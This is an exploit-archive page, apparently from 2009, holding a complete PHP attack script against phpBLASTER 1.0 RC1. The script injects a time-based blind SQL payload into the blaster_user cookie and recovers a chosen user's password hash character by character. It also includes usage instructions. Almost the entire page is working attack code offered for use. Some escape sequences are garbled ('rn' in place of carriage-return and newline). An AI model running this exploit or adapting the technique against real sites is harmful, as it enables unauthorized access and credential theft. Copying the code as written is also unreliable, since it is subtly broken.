[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : phpBLASTER 1.0 RC1 (blaster_user) Blind SQL Injection Exploit
# Published : 2009-02-02
# Author : darkjoker
# Previous Title : WholeHogSoftware Password Protect (Auth Bypass) SQL Injection Vuln
# Next Title : CMS Mini <= 0.2.2 Remote Command Execution Exploit


--+++============================================================+++--
--+++====== phpBLASTER 1.0 RC1 Blind SQL Injection Exploit ======+++--
--+++============================================================+++--

<?php

function query ($username, $pos, $chr)
{
	$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM".
		 " blaster_users WHERE username ='{$username}'),{$pos},1))={$chr}),BENCHMARK".
		 "(200000000,CHAR(0)),0) OR 'x' = 'y";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $username, $pos, $chr)
{
	$chr = ord ($chr);
	$conn = fsockopen ($hostname, 80);

	$request = "GET {$path}/html/mainfile.php HTTP/1.1rn".
		   "Host: {$hostname}rn".
		   "Cookie: blaster_user=" . query ($username, $pos, $chr) . "rn".
		   "Connection: Closernrn";
	
	$time_a = time ();

	fputs ($conn, $request);
	while (!feof ($conn))
		fgets ($conn, 1024);

	$time_b = time ();

	fclose ($conn);

	if ($time_b - $time_a > 4)
		return true;
	else
		return false;
}

function run ($hostname, $path, $username)
{
	$key = "abcdef0123456789";
	$chr = 0;
	$pos = 1;
	echo "[+] Password: ";
	while ($pos <= 32)
	{
		if (exploit ($hostname, $path, $username, $pos, $key [$chr]))
		{
			echo $key [$chr];
			$chr = 0;
			$pos++;
		}
		else
			$chr++;
	}
	echo "nn";
}

function usage ()
{
	exit (
		"nphpBLASTER 1.0 RC1 Blind SQL Injection Exploit".
		"n[+] Author   : darkjoker".
		"n[+] Site     : http://darkjoker.net23.net".
		"n[+] CMS Site : http://phpblaster.org".
		"n[+] Usage    : php xpl.php <hostname> <path> <username>".
		"n[+] Ex.      : php xpl.php localhost /phpBLASTER root".
		"nn");
}



if ($argc != 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$username = $argv [3];

run ($hostname, $path, $username);

?>

# www.Syue.com [2009-02-02]